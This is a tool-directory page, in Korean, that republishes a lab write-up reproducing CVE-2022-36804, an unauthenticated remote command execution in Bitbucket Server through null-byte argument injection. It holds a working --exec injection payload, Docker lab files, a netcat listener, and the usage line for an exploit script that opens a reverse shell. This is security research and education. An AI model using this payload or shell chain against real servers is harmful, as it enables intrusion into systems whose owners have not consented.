Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-36804-Bitbucket-RCE-Analysis — CVE-2022-36804(Bitbucket RCE)의 전체 체인 재현. Docker 컨테이너 기반 실험실, null 바이트 주입 검증을 위한 pspy64 모니터링, 그리고 커스텀 Bash 익스플로잇 스크립트를 포함합니다. Assetnote 연구를 기반으로 합니다. | Kitploit
도구/GitHubGitHub/danielhallbro/cve-2022-36804-bitbucket-rce-analysis
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationPayload DevelopmentBinary ExploitationLabs & Practice
GitHubdanielhallbro/cve-2022-36804-bitbucket-rce-analysis

CVE-2022-36804-Bitbucket-RCE-Analysis

CVE-2022-36804(Bitbucket RCE)의 전체 체인 재현. Docker 컨테이너 기반 실험실, null 바이트 주입 검증을 위한 pspy64 모니터링, 그리고 커스텀 Bash 익스플로잇 스크립트를 포함합니다. Assetnote 연구를 기반으로 합니다.

저장소 보기
147개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-36804: Bitbucket 원격 명령 실행 (RCE)

널 바이트 인자 주입(Argument Injection)의 기술적 분석 및 실험실 악용

취약점 요약

CVE-2022-36804은 Atlassian Bitbucket Server 및 Data Center의 REST API 내에 존재하는 높음/치명적 수준의 인자 주입(Argument Injection) 취약점입니다.

공식 NVD(National Vulnerability Database) 기본 점수는 읽기 권한 필요(PR:L)를 가정한 8.8(High) 이지만, 본 분석에서는 이를 9.8(Critical) 결함(PR:N)으로 간주합니다. 대상 저장소에 공개 액세스가 활성화되어 있는 경우(일반적인 구성), 공격 벡터는 완전히 인증 전(pre-authenticated) 상태가 됩니다.

이 저장소는 Assetnote가 발표한 기술 연구를 직접 기반으로 한 전체 체인(full-chain) 실험실 재현을 문서화합니다.

본 분석은 환경 오케스트레이션과 보안 필터 우회에서 대화형 리버스 셸 획득에 이르는 과정을 상세히 다룹니다. 원래 발견 내용에서 지적된 바와 같이, 이 결함은 원격 명령 실행(RCE) 을 허용하며, 대상 저장소에 공개 액세스가 활성화된 경우 인증 전에도 악용될 수 있습니다.

기술 심층 분석: 널 바이트 불일치

이 취약점은 Java 애플리케이션 런타임과 Linux 운영 체제 간의 "새니타이제이션 임피던스 불일치(Sanitization Impedance Mismatch)"에 뿌리를 두고 있습니다.

Assetnote의 연구에서 강조되었듯이, Bitbucket은 NuProcess 라이브러리를 사용하여 Git 명령을 구성하고 실행합니다. 사용자가 /archive 엔드포인트에 prefix 매개변수를 제공하면, Bitbucket은 인자 목록을 OS에 전달하기 전에 널 문자(%00)를 제거하지 못합니다.

  • Java의 관점: 입력을 널 바이트를 안전하게 포함하는 단일 문자열 객체로 취급합니다.
  • Linux 커널의 관점: C로 작성된 커널은 널 문자를 사용하여 문자열을 종료합니다. execve()가 명령을 처리하면 %00에서 문자열을 자릅니다. NuProcess가 데이터를 전달하는 방식 때문에, OS는 널 바이트 뒤의 모든 것을 완전히 새로운 명령줄 인자로 취급합니다.

--exec=...를 주입함으로써, 공격자는 의도된 --prefix 플래그에서 벗어나 git archive 프로세스가 임의의 바이너리를 실행하도록 강제하여 원격 명령 실행(RCE) 으로 이어집니다.

클릭하여 펼치기: 페이로드 구조 및 "배열 이동(Array Shift)"

익스플로잇이 단순한 URL 매개변수에서 OS 수준 명령으로 어떻게 전환되는지 이해하려면 페이로드의 구조를 해부하고 "배열 이동(Array Shift)"을 관찰해야 합니다.

1. 페이로드 분해

prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x

컴포넌트목적기술적 역할
prefix=x요구 사항git archive에는 prefix가 필요합니다. x는 자리 표시자 역할을 합니다.
%00칼날널 바이트. Java는 전달하지만 C 기반 Linux 커널은 여기서 문자열을 종료합니다.
--exec=...RCE 트리거위험한 플래그. Git의 내장 기능을 남용하여 외부 프로그램을 실행합니다.
touch ...실행 동작실행될 명령. RCE를 검증하는 안전한 PoC입니다.
--remote=...쓰레기통Bitbucket이 추가하는 커밋 ID를 유효한 인자로 소비하여 명령이 문법 오류 없이 깨끗하게 실행되도록 보장합니다.

2. "배열 이동(Array Shift)" 시각화

이것은 취약점의 핵심, 즉 데이터(디렉터리 접두사)가 어떻게 명령(명령 플래그)으로 변환되는지를 보여줍니다.

Java 실행 컨텍스트(초기 상태):

Java는 단일 긴 문자열을 세 번째 인자로 봅니다.

[
  "git",                                      // Index 0
  "archive",                                  // Index 1
  "--prefix=x\0--exec=...\0--remote=...\0x",  // Index 2: The single, polluted string
  "1a2b3c4d..."                               // Index 3: Appended by Bitbucket
]

Linux 커널 실행(악용된 상태):

커널의 execve() 시스템 호출은 모든 널 바이트(\0)에서 문자열을 분할하여, 주입된 플래그를 프로세스 인자 배열에서 각각 독립적인 위치로 이동시킵니다.

[
  "git",                                      // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/main/Executable
  "archive",                                  // argv[1]: Subcommand
  "--prefix=x",                               // argv[2]: Terminated early by %00
  "--exec=/bin/bash -c 'touch /tmp/pwned'",   // argv[3]: THE INJECTED FLAG (RCE)
  "--remote=file:///",                        // argv[4]: THE TRASHCAN (Redirects logic)
  "1a2b3c4d..."                               // argv[5]: COMMIT ID (Consumed by --remote)
]

실험실 구성

현실적인 공격 표면을 시뮬레이션하기 위해, 실험실 환경은 Docker 브리지 네트워크(hacking_net) 내에서 격리된 이중 컨테이너 아키텍처를 활용합니다. 이 구성은 호스트 시스템에 영향을 주지 않고 통제된 환경에서 악용 및 모니터링을 수행할 수 있도록 보장합니다.

아키텍처 구성 요소

  • 피해자 노드: Atlassian Bitbucket Server 7.17.1 버전을 실행합니다. 컨테이너는 의도적으로 bitbucket-victim으로 명명되었습니다. 이는 Apache Tomcat의 RFC 7230 적용 준수를 위해 이루어진 중요한 설계 개선을 반영합니다. 밑줄 대신 하이픈을 사용함으로써, 페이로드 실행 중 발생하는 "잘못된 문자(Invalid Character)" 400 오류를 피할 수 있습니다—이는 연구 단계에서 식별되고 해결된 핵심 기술적 장애물입니다.

  • 공격자 노드: 맞춤형 Kali Linux 롤링 이미지입니다. 표준 이미지와 달리, 이 노드에는 이 악용 체인에 필요한 특정 도구 세트가 사전 설치되어 있습니다: 저장소 조작용 git, 페이로드 전달용 curl, 리버스 셸 캡처용 netcat-traditional.

docker-compose.yml (Tomcat RFC 준수 버전)
services:
  bitbucket:
    image: atlassian/bitbucket-server:7.17.1
    container_name: bitbucket-victim # Renamed from bitbucket_victim to avoid host header issues when executing payload.
    ports:
      - "7990:7990"
    volumes:
      - ./bitbucket-data:/var/atlassian/application-data/bitbucket
    networks:
      - hacking_net

  kali:
    build: .
    container_name: kali_attacker
    tty: true
    networks:
      - hacking_net

networks:
  hacking_net:
    driver: bridge

dockerfile (공격자 노드)
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling

# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - nano: Added for user-friendly text editing inside the container
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
    apt-get install -y git curl netcat-traditional nano python3 && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

# Set the working directory to /root for convenience
WORKDIR /root

# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]

실험실 검증 (빠른 경로)

이미 위에서 제공된 docker-compose.yml을 사용하여 환경을 프로비저닝했다면, 포함된 exploit.sh 스크립트를 사용하여 취약점을 검증하고 몇 초 만에 리버스 셸을 획득할 수 있습니다. 1. 리스너 준비

Kali 공격자 노드(또는 호스트 머신)에서 셸을 캡처할 netcat 리스너를 시작합니다:

nc.traditional -lvnp 4444

2. 익스플로잇 실행

대상 Bitbucket IP, 프로젝트/저장소 이름 및 리스너 정보를 제공하여 스크립트를 실행합니다:

# Usage: ./exploit.sh <target_ip> <project_key> <repo_slug> <attacker_ip> <attacker_port>

chmod +x exploit.sh
./exploit.sh 172.19.0.3 CVE repo1 172.19.0.2 4444

3. 액세스 확인

스크립트가 실행되면 netcat 터미널을 확인하세요. bitbucket 사용자로 대화형 세션을 획득했을 것입니다.

whoami
# Output: bitbucket
id
# Output: uid=2003(bitbucket) gid=2003(bitbucket) groups=2003(bitbucket)

단계별 실행 및 문제 해결

다음은 실험실 세션의 원시 실행 로그로, 환경 설정부터 완전한 대화형 리버스 셸까지의 과정과 애플리케이션 로직 및 웹 서버 제약을 우회하는 데 필요한 문제 해결 단계를 상세히 설명합니다.

1단계: 프로비저닝 및 애플리케이션 설정

취약한 환경을 구동하고 대상 애플리케이션을 구성하는 것부터 시작했습니다.

  1. docker-compose up -d --build를 실행하여 Kali 공격자와 Bitbucket 피해자 컨테이너를 배포했습니다.
  2. http://localhost:7990으로 이동하여 Bitbucket 설정 루틴이 초기화되기를 기다렸습니다.
  3. 구성:
    • 데이터베이스: 빠른 배포를 위해 내장(Internal) 데이터베이스를 선택했습니다.
    • 라이선스: Server ID를 캡처하고 개인 Atlassian 계정으로 인증하여 30일 평가 라이선스를 생성했습니다.
    • 계정 보안: 기본 관리자 계정을 생성했습니다(추후 git 상호작용을 위해 자격 증명을 보관).
  4. 프로젝트 키 CVE로 새 프로젝트를 만들고 Repo1이라는 빈 저장소를 생성했습니다.
Bitbucket에서 프로젝트 생성 Bitbucket에서 저장소 생성
  1. 저장소 설정으로 이동하여 공개 액세스(Public Access) 가 활성화되었는지 확인했습니다. 이는 인증 전 악용 벡터의 전제 조건입니다.
공개 액세스 활성화

2단계: 트랩 설정 (화이트박스 모니터링)

블라인드 테스트에 의존하는 대신 실시간으로 주입을 검증하기 위해, pspy64를 배포하여 내부 Linux 프로세스를 모니터링하기로 결정했습니다.

  1. 공식 GitHub 저장소에서 pspy64 바이너리를 다운로드했습니다.
  2. 문제 해결: Windows Defender가 바이너리를 고위험 해킹 도구로 플래그하여 파일을 격리하려고 했습니다. Windows 보안 설정에서 위협을 수동으로 허용하여 이 특정 연구 컨텍스트에서 도구를 사실상 화이트리스트에 등록해야 했습니다.
  3. 내부 네트워크 필터를 우회하기 위해 Docker CLI를 사용하여 호스트에서 피해자 컨테이너로 바이너리를 전송했습니다:
docker cp pspy64 bitbucket_victim:/tmp/pspy64

# Note that your container would be called bitbucker-victim if you clone this repo.
  1. 피해자 컨테이너에 루트 셸(-u 0)을 생성하고 실행 권한을 적용한 후 모니터를 시작했습니다:
docker exec -u 0 -it bitbucket_victim bash
cd /tmp
chmod +x pspy64
./pspy64
도구 다운로드